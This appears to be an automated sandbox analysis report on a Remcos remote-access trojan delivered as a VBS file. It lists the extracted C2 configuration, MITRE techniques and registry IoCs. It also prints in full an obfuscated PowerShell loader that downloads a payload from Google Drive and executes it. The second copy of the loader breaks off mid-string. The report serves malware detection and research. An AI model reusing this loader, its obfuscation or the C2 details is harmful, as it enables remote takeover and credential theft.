remcos | a32cdb962eeaaf9f445636b5c5371300d0f33676a904841232c42823e924adf6

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04/11/2024, 19:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Solicitați comanda p78460.vbs
Size

14KB
MD5

c80bf6e7394bfdb6d31aef11b1e31b68
SHA1

88b6b74da0a06427ec9e502378ea374cfdd0afea
SHA256

36b44229a81fa005512ea72195083c77844fbd5339c7afb9eaea4505774c1753
SHA512

0df5a54efc36aedae60888c7c241da206e9755db164a18e4bdd969bbd0b4b88b1b8474d6749ceba540d75c0b189964db3ff4989f6acf4f397b7a4642a52a92cf
SSDEEP

192:4FbstrlpW7xBpgpnvxLPj8xNbBzLS+cr7rSF9rqQRiHu2lXU8sIOmfSZzx+Xn:SbO6pgpnvlk578WF9rfGSvn5kXn

Score

10^/10

remcos remotehost collection credential_access discovery evasion rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

6dp5nq4du.duckdns.org:2852

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M09H81
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1752-92-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2988-86-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4112-85-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1752-92-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2988-86-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

flow	pid	Process
2	760	WScript.exe
8	3948	powershell.exe
10	3948	powershell.exe
35	2908	msiexec.exe
37	2908	msiexec.exe
39	2908	msiexec.exe
41	2908	msiexec.exe
44	2908	msiexec.exe
54	2908	msiexec.exe
61	2908	msiexec.exe
62	2908	msiexec.exe
63	2908	msiexec.exe
64	2908	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
2684	msedge.exe
4868	msedge.exe
4472	msedge.exe
5060	Chrome.exe
4064	Chrome.exe
4812	Chrome.exe
4712	msedge.exe
2464	msedge.exe
4580	Chrome.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
35	drive.google.com
7	drive.google.com
8	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2908	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4268	powershell.exe
2908	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2908 set thread context of 2988	2908	msiexec.exe	106
PID 2908 set thread context of 1752	2908	msiexec.exe	107
PID 2908 set thread context of 4112	2908	msiexec.exe	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2624	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3948	powershell.exe
3948	powershell.exe
4268	powershell.exe
4268	powershell.exe
4268	powershell.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2988	msiexec.exe
2988	msiexec.exe
4112	msiexec.exe
4112	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2988	msiexec.exe
2988	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
5060	Chrome.exe
5060	Chrome.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
4268	powershell.exe
2908	msiexec.exe
2908	msiexec.exe
2908	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4712	msedge.exe
4712	msedge.exe
4712	msedge.exe
4712	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	4112	msiexec.exe
Token: SeShutdownPrivilege	5060	Chrome.exe
Token: SeCreatePagefilePrivilege	5060	Chrome.exe
Token: SeShutdownPrivilege	5060	Chrome.exe
Token: SeCreatePagefilePrivilege	5060	Chrome.exe
Token: SeShutdownPrivilege	5060	Chrome.exe
Token: SeCreatePagefilePrivilege	5060	Chrome.exe
Token: SeShutdownPrivilege	5060	Chrome.exe
Token: SeCreatePagefilePrivilege	5060	Chrome.exe
Token: SeShutdownPrivilege	5060	Chrome.exe
Token: SeCreatePagefilePrivilege	5060	Chrome.exe
Token: SeShutdownPrivilege	5060	Chrome.exe
Token: SeCreatePagefilePrivilege	5060	Chrome.exe
Token: SeShutdownPrivilege	5060	Chrome.exe
Token: SeCreatePagefilePrivilege	5060	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
5060	Chrome.exe
4712	msedge.exe
4712	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2908	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 760 wrote to memory of 3948	760	WScript.exe	84
PID 760 wrote to memory of 3948	760	WScript.exe	84
PID 4268 wrote to memory of 2908	4268	powershell.exe	98
PID 4268 wrote to memory of 2908	4268	powershell.exe	98
PID 4268 wrote to memory of 2908	4268	powershell.exe	98
PID 4268 wrote to memory of 2908	4268	powershell.exe	98
PID 2908 wrote to memory of 4360	2908	msiexec.exe	99
PID 2908 wrote to memory of 4360	2908	msiexec.exe	99
PID 2908 wrote to memory of 4360	2908	msiexec.exe	99
PID 4360 wrote to memory of 2624	4360	cmd.exe	101
PID 4360 wrote to memory of 2624	4360	cmd.exe	101
PID 4360 wrote to memory of 2624	4360	cmd.exe	101
PID 2908 wrote to memory of 5060	2908	msiexec.exe	104
PID 2908 wrote to memory of 5060	2908	msiexec.exe	104
PID 5060 wrote to memory of 4720	5060	Chrome.exe	105
PID 5060 wrote to memory of 4720	5060	Chrome.exe	105
PID 2908 wrote to memory of 2988	2908	msiexec.exe	106
PID 2908 wrote to memory of 2988	2908	msiexec.exe	106
PID 2908 wrote to memory of 2988	2908	msiexec.exe	106
PID 2908 wrote to memory of 2988	2908	msiexec.exe	106
PID 2908 wrote to memory of 1752	2908	msiexec.exe	107
PID 2908 wrote to memory of 1752	2908	msiexec.exe	107
PID 2908 wrote to memory of 1752	2908	msiexec.exe	107
PID 2908 wrote to memory of 1752	2908	msiexec.exe	107
PID 2908 wrote to memory of 4112	2908	msiexec.exe	108
PID 2908 wrote to memory of 4112	2908	msiexec.exe	108
PID 2908 wrote to memory of 4112	2908	msiexec.exe	108
PID 2908 wrote to memory of 4112	2908	msiexec.exe	108
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4536	5060	Chrome.exe	109
PID 5060 wrote to memory of 4276	5060	Chrome.exe	110
PID 5060 wrote to memory of 4276	5060	Chrome.exe	110
PID 5060 wrote to memory of 3264	5060	Chrome.exe	111
PID 5060 wrote to memory of 3264	5060	Chrome.exe	111
PID 5060 wrote to memory of 3264	5060	Chrome.exe	111
PID 5060 wrote to memory of 3264	5060	Chrome.exe	111

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitați comanda p78460.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Unshadow Teia Translated Trumbash Kommiserne Unorational Zea #>;$Kadence='Metricizes';<#Tndende Confiserie Tnkningers #>; function Condonement($Bedimple){If ($host.DebuggerEnabled) {$Subcaptaincy++;}$Sydhavnen=$Underdelene+$Bedimple.'Length' - $Subcaptaincy; for ( $Speedbaadenes=4;$Speedbaadenes -lt $Sydhavnen;$Speedbaadenes+=5){$Dispositionernes=$Speedbaadenes;$Tensaw+=$Bedimple[$Speedbaadenes];}$Tensaw;}function Begejstret($renotification){ & ($Proparent) ($renotification);}$Chloride=Condonement 'HartMSkrioProczbjeri S.hlbldnl.siaaProd/ an ';$Centralenhedens=Condonement ',ulpTBi.olUdlss Acy1Pjec2m,ld ';$Uhyrernes='Mono[CuraNAfkrET rntCrim.HuxlSMultEReinR TvrvPhotIBremCswalEBehypFuseo silIF.den HomtDiscM mmua tednSkriA yrpG koeTexaR Bef]Naad:Unde:EvidS KeneAm rCTaasURekoRskrai U atthrayQuadP PetrExp.OLinjTUni,O TilcInd.oCrouLBemr=Lipp$PryeCSob,ED gtnTeletSkudrEfteA humLSpasEDec,NH unhcoryeEkspD Ly,eslvpNt beS th ';$Chloride+=Condonement 'Symp5Jens.Beri0Hjpa F r(Ski,W Adei Cehn FeddEf eobandwOutgsFa.l godtNHernTS gt Sia,1O er0Hv s.,emi0Ords;Dege NedWMismi ysnCon 6Besy4Unco;Re.a Fdevxskra6 non4indl;Ku,i AnafrN ntvSurl:Brut1bowm3Sign1M.na.Butt0Geo.)Outg Mi rG PhieSkatc AchkDis o Aph/ ele2glar0Stem1Poch0Akko0Ant,1Supe0Fulg1St n UhelF UgyiDis.rEfteeFi ofBa voAnlgxEne,/Draw1Fase3Opva1Sad .Auro0Unga ';$Metred=Condonement 'SemiUPolySslkkeKvisrGent-IsenatilegRi pE arbn.erit ide ';$Staveren=Condonement ' Pyrh inktIn etLocapUnsts Cut:D wy/rest/ApprdAflerGeopiUltrvTeeneWitt.BisogcadooNonpoSkovg FedlStopeInds.EphycTrbeoEpitmH ut/ dkluWinzcPlan? ZooePharx UdnpForboAfvrrNemmtSp d=Exi drep.o ,rawEnernPhenlAh aoS rraFrihd Flh& Divi NondKa.e=Imme1 LovDJuicYR.ak3OphaH ron_t in3Ca oZTermOLen OUn.cHElapuForm_ BruyPermw FrspAfmaR Fa,erhomCPompYJe ur BrecWee HApprn Re Z edsADimsv lutxAzurbInteBTremNProggLuniL Rub ';$sprogtalentets=Condonement 'Farv>Brit ';$Proparent=Condonement 'CongIHy,pe U mXSalg ';$Snowfield='Phonoreceptor';$Speedbaadenesnfiltrede='\Kbstadboerne8.tid';Begejstret (Condonement 'Buni$RaseGpennLSoteOBalsBT ikAUn slFrug:Rumft sseiDdslLBlanTTracaSoc lAllaESk bnS.ja=mrkb$E.treTretnOvicvH,ct:TjenaXantpGalvP voudErytA.hatt ReaaEb i+Lava$ParasImpepBdetESy aeKsesD FisbBullA A mA PaaDArbeeAn tnS.onE,ordSMu in,trufDic,I KosLSit t UnsRRim.EP stdKa,mE kan ');Begejstret (Condonement ' m.r$DalegApriLRaadoompoBSup,a S rlSylp:GratTRe,irH ndaPos fsejlinaviK Dipf SafL UnfY upEPa enChroe RecSFul =Sten$MesosFlelTBefoAMetovErnreS.torNoneeSympN G.y.AskaS kspDeo L ramITutrtCert(R nt$Dotis Ov PHa vRDeteoAl nGKrysTSn,bABa yLfantEWarnNArtit .uneA,tethonnS for) po ');Begejstret (Condonement $Uhyrernes);$Staveren=$trafikflyenes[0];$Blea15=(Condonement 'Bred$PaadgbuddlTra OFormB p ea Yumlinac:For N BegAEulor MatRErnr=Def.n LeveBartW Gal-T,llo PlabBacoj S,deK nocExcot K l Est,s S rYComps Re,tBrideBreeMLivm. T lNProfEFurot Tan.NortWEdi E ompBHospcStadlSme IU lieCha NModuT Sel ');Begejstret ($Blea15);Begejstret (Condonement 'Kris$UdviNAutoaBannrStanr Gla.scytHpreoeEguraAxmidP gheS.agrSupesUlce[Ca e$CompM TubeE.ketReflrNyanehalvdV,ri] Tea= ael$ AdmCTendh KrolNeuro odrP neihustd De.eKar, ');$Strikvarers=Condonement 'Bai,$PalaNPul aRinnr UnprPlum.IkenDIlteo GenwChevnVrv lBakho myaDispdGe,sFFet iAberl illePens(G,pe$For SStopt Snaa envRouteE sir ReneStv.nPho ,St.l$ IliCSvo,aQuesrOvercReinoNo.coprisnHlqn) G r ';$Carcoon=$Tiltalen;Begejstret (Condonement ' mad$ TanGTrykLhjtiOmo obStryACortlpira:u vls Fo.EFimbm ifaaT kssRafeiTreeoN.nslCom o upeg veryFert= Tro(SawatMantePampsIndtT.oen-TidspSynkafa,bTF.ldHStar Dune$KragC Ph,aBackr Sd CDetooZincoFo.mnSel,) Ven ');while (!$Semasiology) {Begejstret (Condonement 'Hi h$Fra gSanslBarooAvlebDi haKon.lEfte:BktaEMngdk e osAfgiaOpfimHo ei ryonHijaaKocmt siooprinrStrueNonwrForesStup=Hono$ SputUd ar rusuBenfe Gri ') ;Begejstret $Strikvarers;Begejstret (Condonement 'SwedSVareT NytaRefoRRaketCoun-PrecS rnlU gaE HanEVirkPBi.e Ske 4Galm ');Begejstret (Condonement ' Out$ SupgPr dlMuddoSid bstenAOve LEne.: Fa S UnyeCataMNonaaDi csRu siBlanoOplul PugoMorbGMappy pid=Isep(Corrt Wa.EPersSP,iot Flo- punPRypeaNonrt rieHstni ve e$Coopc angaTr wRAutoCS,dnO O,ko m nnAtta)Kata ') ;Begejstret (Condonement ' L n$ W rgEfteL heOSur BB keArutsl Ref: A tPfa tOFresl ReiIO,tit AtiB.ummUWeatrKlubEFlorAAandUUnpeE Da.ROprasSvkk=Wood$Imp,GChuflRastO mbob CirA,topL und: ForUShyur De.aPh nNChorBUdipe PhorUnprIKonfgB,useAfklLbierSi onE Amp+Chil+Fl.r% ent$SomntfuglRDetaAValufPathiKonsKSweefBlitlEgotyreume SulNsam ESte,SHypn. ogpc akoO RedU rsen S pTPseu ') ;$Staveren=$trafikflyenes[$Politbureauers];}$Tilforladeligere=298086;$Racercyklernes=30728;Begejstret (Condonement 'S,if$DepaGSamlL N uOParab oveACol.LSlag:TabeGOrthrJazze.ardngocaa onAantheBrnenKjorS syeWee R I.f om=Nee HangatheE ContClou-Co vCVarmOBogmn P,ttPreteKaffnB nktBill Bo y$ H,ecM siAConfrTe,tcYo ioHostoApe,NType ');Begejstret (Condonement ' on$ UrrgstbelOveroTannbOveraBarsl P o:DdspCStaroGra.l estl GngiThrecPourl Ey eChar Gasf=i,ma akra[ NonSImmoy irs Hypt unaeFyrrmGa.o. allCU tro OphnSiddvKo.keKlavrAttat Ar ]Frem:Trev:HoejFK rrr Bero opmm eguBC tca KapsApinevejr6Rein4SkriSEpittPaulr EuliHovenStamgLuft(Styr$,ishg sodr RaneE tenGeekaFlova RiseOmsknBiassSvrmeRestrDeco)Unin ');Begejstret (Condonement 'Skue$ SinGStviL Soco BinBUnorAS alLU,de:BaltS jerHSdrra ,idF,kroTNeug Fran=kart Form[PostsNondy RidspulvtTe te isMSeri.KonstDistECo kxhaa tPun .Dip EEkspn Musc FyrOSjledDagbIUn unShe gMod,] nlg: ,tn: CruAU.grs olacEctrIFo bI kla. Sk gRehaeconct MucsAn it.tudRH poIM.idNSpeag Rou(Ind,$ S.lcMonoO AdeLSpydlDet.I F rCFalsl Sp eBid ) Tr ');Begejstret (Condonement 'Hand$,ockgGra lunifoKy.ebTilba agslTesc: ConsBestaNeglls neR.ram= Res$SpadsB hoHTil,a errFmoldTAver. PasSE ilUSlvsB neqsFritTEdu RBemyI DupN.antgProl(Kryp$SkeptBrn iJ hnLSjlefVensOFotoRana,LreedaLancDQua E tjel BehIOmdeGPrebEo terVa,ueGodm,Opha$M,narHackAHospC andesup ROmgrC.atryG arkBlodlHe teInt RVandNJoulesterS Gra) Di, ');Begejstret $salr;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Unshadow Teia Translated Trumbash Kommiserne Unorational Zea #>;$Kadence='Metricizes';<#Tndende Confiserie Tnkningers #>; function Condonement($Bedimple){If ($host.DebuggerEnabled) {$Subcaptaincy++;}$Sydhavnen=$Underdelene+$Bedimple.'Length' - $Subcaptaincy; for ( $Speedbaadenes=4;$Speedbaadenes -lt $Sydhavnen;$Speedbaadenes+=5){$Dispositionernes=$Speedbaadenes;$Tensaw+=$Bedimple[$Speedbaadenes];}$Tensaw;}function Begejstret($renotification){ & ($Proparent) ($renotification);}$Chloride=Condonement 'HartMSkrioProczbjeri S.hlbldnl.siaaProd/ an ';$Centralenhedens=Condonement ',ulpTBi.olUdlss Acy1Pjec2m,ld ';$Uhyrernes='Mono[CuraNAfkrET rntCrim.HuxlSMultEReinR TvrvPhotIBremCswalEBehypFuseo silIF.den HomtDiscM mmua tednSkriA yrpG koeTexaR Bef]Naad:Unde:EvidS KeneAm rCTaasURekoRskrai U atthrayQuadP PetrExp.OLinjTUni,O TilcInd.oCrouLBemr=Lipp$PryeCSob,ED gtnTeletSkudrEfteA humLSpasEDec,NH unhcoryeEkspD Ly,eslvpNt beS th ';$Chloride+=Condonement 'Symp5Jens.Beri0Hjpa F r(Ski,W Adei Cehn FeddEf eobandwOutgsFa.l godtNHernTS gt Sia,1O er0Hv s.,emi0Ords;Dege NedWMismi ysnCon 6Besy4Unco;Re.a Fdevxskra6 non4indl;Ku,i AnafrN ntvSurl:Brut1bowm3Sign1M.na.Butt0Geo.)Outg Mi rG PhieSkatc AchkDis o Aph/ ele2glar0Stem1Poch0Akko0Ant,1Supe0Fulg1St n UhelF UgyiDis.rEfteeFi ofBa voAnlgxEne,/Draw1Fase3Opva1Sad .Auro0Unga ';$Metred=Condonement 'SemiUPolySslkkeKvisrGent-IsenatilegRi pE arbn.erit ide ';$Staveren=Condonement ' Pyrh inktIn etLocapUnsts Cut:D wy/rest/ApprdAflerGeopiUltrvTeeneWitt.BisogcadooNonpoSkovg FedlStopeInds.EphycTrbeoEpitmH ut/ dkluWinzcPlan? ZooePharx UdnpForboAfvrrNemmtSp d=Exi drep.o ,rawEnernPhenlAh aoS rraFrihd Flh& Divi NondKa.e=Imme1 LovDJuicYR.ak3OphaH ron_t in3Ca oZTermOLen OUn.cHElapuForm_ BruyPermw FrspAfmaR Fa,erhomCPompYJe ur BrecWee HApprn Re Z edsADimsv lutxAzurbInteBTremNProggLuniL Rub ';$sprogtalentets=Condonement 'Farv>Brit ';$Proparent=Condonement 'CongIHy,pe U mXSalg ';$Snowfield='Phonoreceptor';$Speedbaadenesnfiltrede='\Kbstadboerne8.tid';Begejstret (Condonement 'Buni$RaseGpennLSoteOBalsBT ikAUn slFrug:Rumft sseiDdslLBlanTTracaSoc lAllaESk bnS.ja=mrkb$E.treTretnOvicvH,ct:TjenaXantpGalvP voudErytA.hatt ReaaEb i+Lava$ParasImpepBdetESy aeKsesD FisbBullA A mA PaaDArbeeAn tnS.onE,ordSMu in,trufDic,I KosLSit t UnsRRim.EP stdKa,mE kan ');Begejstret (Condonement ' m.r$DalegApriLRaadoompoBSup,a S rlSylp:GratTRe,irH ndaPos fsejlinaviK Dipf SafL UnfY upEPa enChroe RecSFul =Sten$MesosFlelTBefoAMetovErnreS.torNoneeSympN G.y.AskaS kspDeo L ramITutrtCert(R nt$Dotis Ov PHa vRDeteoAl nGKrysTSn,bABa yLfantEWarnNArtit .uneA,tethonnS for) po ');Begejstret (Condonement $Uhyrernes);$Staveren=$trafikflyenes[0];$Blea15=(Condonement 'Bred$PaadgbuddlTra OFormB p ea Yumlinac:For N BegAEulor MatRErnr=Def.n LeveBartW Gal-T,llo PlabBacoj S,deK nocExcot K l Est,s S rYComps Re,tBrideBreeMLivm. T lNProfEFurot Tan.NortWEdi E ompBHospcStadlSme IU lieCha NModuT Sel ');Begejstret ($Blea15);Begejstret (Condonement 'Kris$UdviNAutoaBannrStanr Gla.scytHpreoeEguraAxmidP gheS.agrSupesUlce[Ca e$CompM TubeE.ketReflrNyanehalvdV,ri] Tea= ael$ AdmCTendh KrolNeuro odrP neihustd De.eKar, ');$Strikvarers=Condonement 'Bai,$PalaNPul aRinnr UnprPlum.IkenDIlteo GenwChevnVrv lBakho myaDispdGe,sFFet iAberl illePens(G,pe$For SStopt Snaa envRouteE sir ReneStv.nPho ,St.l$ IliCSvo,aQuesrOvercReinoNo.coprisnHlqn) G r ';$Carcoon=$Tiltalen;Begejstret (Condonement ' mad$ TanGTrykLhjtiOmo obStryACortlpira:u vls Fo.EFimbm ifaaT kssRafeiTreeoN.nslCom o upeg veryFert= Tro(SawatMantePampsIndtT.oen-TidspSynkafa,bTF.ldHStar Dune$KragC Ph,aBackr Sd CDetooZincoFo.mnSel,) Ven ');while (!$Semasiology) {Begejstret (Condonement 'Hi h$Fra gSanslBarooAvlebDi haKon.lEfte:BktaEMngdk e osAfgiaOpfimHo ei ryonHijaaKocmt siooprinrStrueNonwrForesStup=Hono$ SputUd ar rusuBenfe Gri ') ;Begejstret $Strikvarers;Begejstret (Condonement 'SwedSVareT NytaRefoRRaketCoun-PrecS rnlU gaE HanEVirkPBi.e Ske 4Galm ');Begejstret (Condonement ' Out$ SupgPr dlMuddoSid bstenAOve LEne.: Fa S UnyeCataMNonaaDi csRu siBlanoOplul PugoMorbGMappy pid=Isep(Corrt Wa.EPersSP,iot Flo- punPRypeaNonrt rieHstni ve e$Coopc angaTr wRAutoCS,dnO O,ko m nnAtta)Kata ') ;Begejstret (Condonement ' L n$ W rgEfteL heOSur BB keArutsl Ref: A tPfa tOFresl ReiIO,tit AtiB.ummUWeatrKlubEFlorAAandUUnpeE Da.ROprasSvkk=Wood$Imp,GChuflRastO mbob CirA,topL und: ForUShyur De.aPh nNChorBUdipe PhorUnprIKonfgB,useAfklLbierSi onE Amp+Chil+Fl.r% ent$SomntfuglRDetaAValufPathiKonsKSweefBlitlEgotyreume SulNsam ESte,SHypn. ogpc akoO RedU rsen S pTPseu ') ;$Staveren=$trafikflyenes[$Politbureauers];}$Tilforladeligere=298086;$Racercyklernes=30728;Begejstret (Condonement 'S,if$DepaGSamlL N uOParab oveACol.LSlag:TabeGOrthrJazze.ardngocaa onAantheBrnenKjorS syeWee R I.f om=Nee HangatheE ContClou-Co vCVarmOBogmn P,ttPreteKaffnB nktBill Bo y$ H,ecM siAConfrTe,tcYo ioHostoApe,NType ');Begejstret (Condonement ' on$ UrrgstbelOveroTannbOveraBarsl P o:DdspCStaroGra.l estl GngiThrecPourl Ey eChar Gasf=i,ma akra[ NonSImmoy irs Hypt unaeFyrrmGa.o. allCU tro OphnSiddvKo.keKlavrAttat Ar ]Frem:Trev:HoejFK rrr Bero opmm eguBC tca KapsApinevejr6Rein4SkriSEpittPaulr EuliHovenStamgLuft(Styr$,ishg sodr RaneE tenGeekaFlova RiseOmsknBiassSvrmeRestrDeco)Unin ');Begejstret (Condonement 'Skue$ SinGStviL Soco BinBUnorAS alLU,de:BaltS jerHSdrra ,idF,kroTNeug Fran=kart Form[PostsNondy RidspulvtTe te isMSeri.KonstDistECo kxhaa tPun .Dip EEkspn Musc FyrOSjledDagbIUn unShe gMod,] nlg: ,tn: CruAU.grs olacEctrIFo bI kla. Sk gRehaeconct MucsAn it.tudRH poIM.idNSpeag Rou(Ind,$ S.lcMonoO AdeLSpydlDet.I F rCFalsl Sp eBid ) Tr ');Begejstret (Condonement 'Hand$,ockgGra lunifoKy.ebTilba agslTesc: ConsBestaNeglls neR.ram= Res$SpadsB hoHTil,a errFmoldTAver. PasSE ilUSlvsB neqsFritTEdu RBemyI 